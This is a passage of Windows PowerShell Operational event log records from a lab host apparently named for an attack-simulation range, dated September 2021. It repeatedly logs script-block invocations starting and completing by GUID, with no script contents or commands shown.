LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034423
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034417
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034393
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034391
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034390
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
